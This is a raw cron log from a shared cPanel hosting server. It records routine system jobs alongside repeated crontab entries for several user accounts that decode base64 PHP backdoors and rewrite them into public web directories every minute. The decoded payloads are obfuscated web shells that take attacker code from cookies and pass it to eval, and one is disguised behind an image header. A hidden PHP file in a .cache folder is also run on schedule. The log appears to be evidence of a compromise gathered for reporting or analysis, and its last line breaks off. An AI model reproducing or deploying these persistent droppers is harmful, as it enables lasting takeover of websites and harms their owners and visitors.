Apr 19 08:48:02 medusa CROND[27851]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:48:02 medusa CROND[27854]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:48:02 medusa CROND[27856]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:48:02 medusa CROND[27859]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:49:01 medusa CROND[19755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:49:01 medusa CROND[19790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:49:01 medusa CROND[19791]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:49:01 medusa CROND[19792]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:49:01 medusa CROND[19793]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:49:01 medusa CROND[19794]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:49:01 medusa CROND[19797]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:49:01 medusa CROND[19800]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:49:01 medusa CROND[19802]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:49:01 medusa CROND[19804]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:49:01 medusa CROND[19811]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:49:01 medusa CROND[19812]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:50:02 medusa CROND[12109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 08:50:02 medusa CROND[12167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:50:02 medusa CROND[12246]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 08:50:02 medusa CROND[12247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:50:02 medusa CROND[12248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:50:02 medusa CROND[12251]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 08:50:02 medusa CROND[12252]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:50:02 medusa CROND[12254]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:50:02 medusa CROND[12258]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:50:02 medusa CROND[12253]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:50:02 medusa CROND[12259]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12255]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:50:02 medusa CROND[12261]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12268]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:50:02 medusa CROND[12269]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:50:02 medusa CROND[12266]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 08:50:02 medusa CROND[12264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:50:02 medusa CROND[12279]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:50:02 medusa CROND[12275]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:50:02 medusa CROND[12278]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12284]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12291]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:50:02 medusa CROND[12292]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:50:02 medusa CROND[12290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12297]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYME